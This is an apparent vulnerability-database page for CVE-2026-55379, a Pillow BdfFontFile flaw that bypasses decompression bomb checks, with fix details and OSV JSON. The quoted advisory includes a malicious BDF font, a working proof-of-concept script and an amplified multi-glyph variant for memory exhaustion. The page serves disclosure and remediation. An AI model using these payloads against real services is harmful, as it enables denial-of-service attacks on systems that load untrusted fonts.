CVE-2026-55379: Pillow `BdfFontFile` `Image.new()` Called Without `_decompression_bomb_check()` — Vulnerability

HIGH
Advisory Identifier: GHSA-45hq-cxwh-f6vc
CVSS 7.5
CWE-789
Published
Advisory Summary

CVE-2026-55379 is a HIGH (CVSS 7.5) `image.new()` called without `_decompression_bomb_check()` — vulnerability (CWE-789: Memory Allocation with Excessive Size Value) affecting Pillow `BdfFontFile` libraries in the PyPI ecosystem. The issue involves `image.new()` called without `_decompression_bomb_check()` — bomb protection bypass via font loading. Remediation is available by upgrading affected packages to version 12.3.0.

CVE-2026-55379 at a Glance

CVE Identifier CVE-2026-55379
GHSA Identifier GHSA-45hq-cxwh-f6vc
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-789: Memory Allocation with Excessive Size Value
Affected Product Pillow `BdfFontFile`
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-55379

To remediate this vulnerability, upgrade all affected Pillow `BdfFontFile` dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

pillow fixed: 12.3.0
pip install pillow>=12.3.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show pillow

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-55379, inspect your installed packages using pip:

pip show pillow

Analyze the terminal output to locate any version of Pillow `BdfFontFile` in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 12.3.0), your application is affected.

Note: The pip show pillow command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-789: Memory Allocation with Excessive Size Value, where the product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated. In Pillow `BdfFontFile`, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `PIL/BdfFontFile.py` `bdf_char()` (lines 84–88) reads the `BBX width height` field from a BDF font file and passes the dimensions directly to `Image.new()` without calling `Image._decompression_bomb_check()`. This completely bypasses Pillow's documented decompression bomb protection. `Image.open()` enforces `MAX_IMAGE_PIXELS = 89,478,485` and raises `DecompressionBombError` for images exceeding `2 × MAX = 178,956,970` pixels. The BDF font loading path calls `Image.new()` directly, which only calls `_check_size()` (validates `>= 0`) — no pixel count limit. **Vulnerable code (`PIL/BdfFontFile.py` lines 84–88):** ```python # width, height from attacker-controlled "BBX width height x y" line try: im = Image.frombytes("1", (width, height), bitmap, "hex", "1") except ValueError: # TRIGGERED when BITMAP section is empty (zero hex lines) im = Image.new("1", (width, height)) # ← NO _decompression_bomb_check()! # ^ This image is stored in self.glyph[ch] — persists in memory ``` **Attack trigger:** A BDF glyph with `BBX 20000 20000` and an empty `BITMAP` section causes `Image.frombytes()` to raise `ValueError`, then `Image.new("1", (20000, 20000))` allocates **50 MB** of C-heap silently. Image.open() would raise `DecompressionBombError` for the same dimensions. ## Steps to reproduce **Minimal malicious BDF file (270 bytes):** ``` STARTFONT 2.1 SIZE 16 75 75 FONTBOUNDINGBOX 16 16 0 -4 STARTPROPERTIES 1 COMMENT placeholder ENDPROPERTIES CHARS 1 STARTCHAR A ENCODING 65 SWIDTH 500 0 DWIDTH 8 0 BBX 20000 20000 0 0 BITMAP ENDCHAR ENDFONT ``` **Proof of Concept script:** ```python #!/usr/bin/env python3 """PoC: BdfFontFile bomb bypass — 270-byte BDF → 50 MB allocation""" import io, warnings warnings.filterwarnings("ignore") from PIL.BdfFontFile import BdfFontFile from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError W, H = 20000, 20000 # 400M pixels → above DecompressionBombError threshold # Show what Image.open() would do warnings.filterwarnings("error", category=DecompressionBombWarning) try: _decompression_bomb_check((W, H)) except (DecompressionBombWarning, DecompressionBombError) as e: print(f"[Image.open() path] BLOCKED by {type(e).__name__}") warnings.filterwarnings("ignore") # Malicious BDF: large BBX + empty BITMAP → ValueError → Image.new() without bomb check bdf = f"""STARTFONT 2.1 SIZE 16 75 75 FONTBOUNDINGBOX 16 16 0 -4 STARTPROPERTIES 1 COMMENT x ENDPROPERTIES CHARS 1 STARTCHAR A ENCODING 65 SWIDTH 500 0 DWIDTH 8 0 BBX {W} {H} 0 0 BITMAP ENDCHAR ENDFONT """.encode() print(f"[*] BDF file size : {len(bdf)} bytes") print(f"[*] Glyph size : {W} x {H} = {W*H:,} pixels") print(f"[*] C-heap target : {W*H//8//1024**2} MB (mode '1' = 1 bit/pixel)") BdfFontFile(io.BytesIO(bdf)) # No exception — bomb check bypassed! print(f"[!] CONFIRMED: BdfFontFile loaded silently — {W*H//8//1024**2} MB allocated") print(f" Image.open() path would have raised DecompressionBombError") ``` **Expected output:** ``` [Image.open() path] BLOCKED by DecompressionBombError [*] BDF file size : 270 bytes [*] Glyph size : 20000 x 20000 = 400,000,000 pixels [*] C-heap target : 47 MB (mode '1' = 1 bit/pixel) [!] CONFIRMED: BdfFontFile loaded silently — 47 MB allocated Image.open() path would have raised DecompressionBombError ``` **Amplified attack (multiple glyphs):** A BDF file defining 256 glyphs each at `BBX 8000 8000` causes `256 × 7.6 MB = ~1.95 GB` total C-heap allocation — all silently, bypassing documented bomb protection. ### Impact - **Availability**: HIGH — attacker-controlled memory allocation per glyph × up to 65,536 glyphs - **Confidentiality**: None - **Integrity**: None - Any service loading BDF fonts from untrusted sources (e.g., `ImageFont.load("user.bdf")`, `BdfFontFile(fp)`) is affected - Loaded glyph images persist in `self.glyph[ch]` for the lifetime of the font object — memory is NOT freed until the font is garbage collected

CVE-2026-55379 Affected Pillow `BdfFontFile` Versions

1 component(s)
Fixed Versions:
12.3.0
Product / Package Ecosystem Affected Versions Fixed Version
pillow
PyPI
< 12.3.0
12.3.0

References

Frequently Asked Questions

What is CVE-2026-55379?
CVE-2026-55379 is a security vulnerability in Pillow `BdfFontFile` involving `Image.new()` called without `_decompression_bomb_check()` — bomb protection bypass via font loading under CWE-789: Memory Allocation with Excessive Size Value.
Which Pillow `BdfFontFile` versions are affected?
Affected versions include releases prior to 12.3.0 across affected packages: pillow.
What version fixes CVE-2026-55379?
Upgrading to 12.3.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is pillow affected?
Yes, pillow is affected in releases prior to 12.3.0. Upgrade your dependency to 12.3.0 or later.
What is the CVSS score of CVE-2026-55379?
CVE-2026-55379 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-55379?
CVE-2026-55379 is classified under CWE-789: Memory Allocation with Excessive Size Value (The product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated.).
How can I check PyPI dependencies for CVE-2026-55379?
Run the dependency tree command: 'pip show pillow'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-45hq-cxwh-f6vc",
  "modified" : "2026-07-20T21:13:18Z",
  "published" : "2026-07-20T21:13:18Z",
  "aliases" : [ "CVE-2026-55379" ],
  "summary" : "Pillow `BdfFontFile`: `Image.new()` called without `_decompression_bomb_check()` — bomb protection bypass via font loading",
  "details" : "### Summary\n`PIL/BdfFontFile.py` `bdf_char()` (lines 84–88) reads the `BBX width height` field from a BDF font file and passes the dimensions directly to `Image.new()` without calling `Image._decompression_bomb_check()`. This completely bypasses Pillow's documented decompression bomb protection.\n\n`Image.open()` enforces `MAX_IMAGE_PIXELS = 89,478,485` and raises `DecompressionBombError` for images exceeding `2 × MAX = 178,956,970` pixels. The BDF font loading path calls `Image.new()` directly, which only calls `_check_size()` (validates `>= 0`) — no pixel count limit.\n\n**Vulnerable code (`PIL/BdfFontFile.py` lines 84–88):**\n```python\n# width, height from attacker-controlled \"BBX width height x y\" line\ntry:\n    im = Image.frombytes(\"1\", (width, height), bitmap, \"hex\", \"1\")\nexcept ValueError:\n    # TRIGGERED when BITMAP section is empty (zero hex lines)\n    im = Image.new(\"1\", (width, height))   # ← NO _decompression_bomb_check()!\n    # ^ This image is stored in self.glyph[ch] — persists in memory\n```\n\n**Attack trigger:** A BDF glyph with `BBX 20000 20000` and an empty `BITMAP` section causes `Image.frombytes()` to raise `ValueError`, then `Image.new(\"1\", (20000, 20000))` allocates **50 MB** of C-heap silently. Image.open() would raise `DecompressionBombError` for the same dimensions.\n\n## Steps to reproduce\n\n**Minimal malicious BDF file (270 bytes):**\n```\nSTARTFONT 2.1\nSIZE 16 75 75\nFONTBOUNDINGBOX 16 16 0 -4\nSTARTPROPERTIES 1\nCOMMENT placeholder\nENDPROPERTIES\nCHARS 1\nSTARTCHAR A\nENCODING 65\nSWIDTH 500 0\nDWIDTH 8 0\nBBX 20000 20000 0 0\nBITMAP\nENDCHAR\nENDFONT\n```\n\n**Proof of Concept script:**\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: BdfFontFile bomb bypass — 270-byte BDF → 50 MB allocation\"\"\"\nimport io, warnings\nwarnings.filterwarnings(\"ignore\")\n\nfrom PIL.BdfFontFile import BdfFontFile\nfrom PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError\n\nW, H = 20000, 20000   # 400M pixels → above DecompressionBombError threshold\n\n# Show what Image.open() would do\nwarnings.filterwarnings(\"error\", category=DecompressionBombWarning)\ntry:\n    _decompression_bomb_check((W, H))\nexcept (DecompressionBombWarning, DecompressionBombError) as e:\n    print(f\"[Image.open() path] BLOCKED by {type(e).__name__}\")\nwarnings.filterwarnings(\"ignore\")\n\n# Malicious BDF: large BBX + empty BITMAP → ValueError → Image.new() without bomb check\nbdf = f\"\"\"STARTFONT 2.1\nSIZE 16 75 75\nFONTBOUNDINGBOX 16 16 0 -4\nSTARTPROPERTIES 1\nCOMMENT x\nENDPROPERTIES\nCHARS 1\nSTARTCHAR A\nENCODING 65\nSWIDTH 500 0\nDWIDTH 8 0\nBBX {W} {H} 0 0\nBITMAP\nENDCHAR\nENDFONT\n\"\"\".encode()\n\nprint(f\"[*] BDF file size  : {len(bdf)} bytes\")\nprint(f\"[*] Glyph size     : {W} x {H} = {W*H:,} pixels\")\nprint(f\"[*] C-heap target  : {W*H//8//1024**2} MB  (mode '1' = 1 bit/pixel)\")\n\nBdfFontFile(io.BytesIO(bdf))   # No exception — bomb check bypassed!\n\nprint(f\"[!] CONFIRMED: BdfFontFile loaded silently — {W*H//8//1024**2} MB allocated\")\nprint(f\"    Image.open() path would have raised DecompressionBombError\")\n```\n\n**Expected output:**\n```\n[Image.open() path] BLOCKED by DecompressionBombError\n[*] BDF file size  : 270 bytes\n[*] Glyph size     : 20000 x 20000 = 400,000,000 pixels\n[*] C-heap target  : 47 MB  (mode '1' = 1 bit/pixel)\n[!] CONFIRMED: BdfFontFile loaded silently — 47 MB allocated\n    Image.open() path would have raised DecompressionBombError\n```\n\n**Amplified attack (multiple glyphs):**  \nA BDF file defining 256 glyphs each at `BBX 8000 8000` causes `256 × 7.6 MB = ~1.95 GB` total C-heap allocation — all silently, bypassing documented bomb protection.\n\n### Impact\n- **Availability**: HIGH — attacker-controlled memory allocation per glyph × up to 65,536 glyphs\n- **Confidentiality**: None  \n- **Integrity**: None\n- Any service loading BDF fonts from untrusted sources (e.g., `ImageFont.load(\"user.bdf\")`, `BdfFontFile(fp)`) is affected\n- Loaded glyph images persist in `self.glyph[ch]` for the lifetime of the font object — memory is NOT freed until the font is garbage collected",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "pillow"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "12.3.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/python-pillow/Pillow/security/advisories/GHSA-45hq-cxwh-f6vc"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-55379"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2255.yaml"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/python-pillow/Pillow"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-789" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-20T21:13:18Z",
    "nvd_published_at" : "2026-07-06T19:17:08Z"
  }
}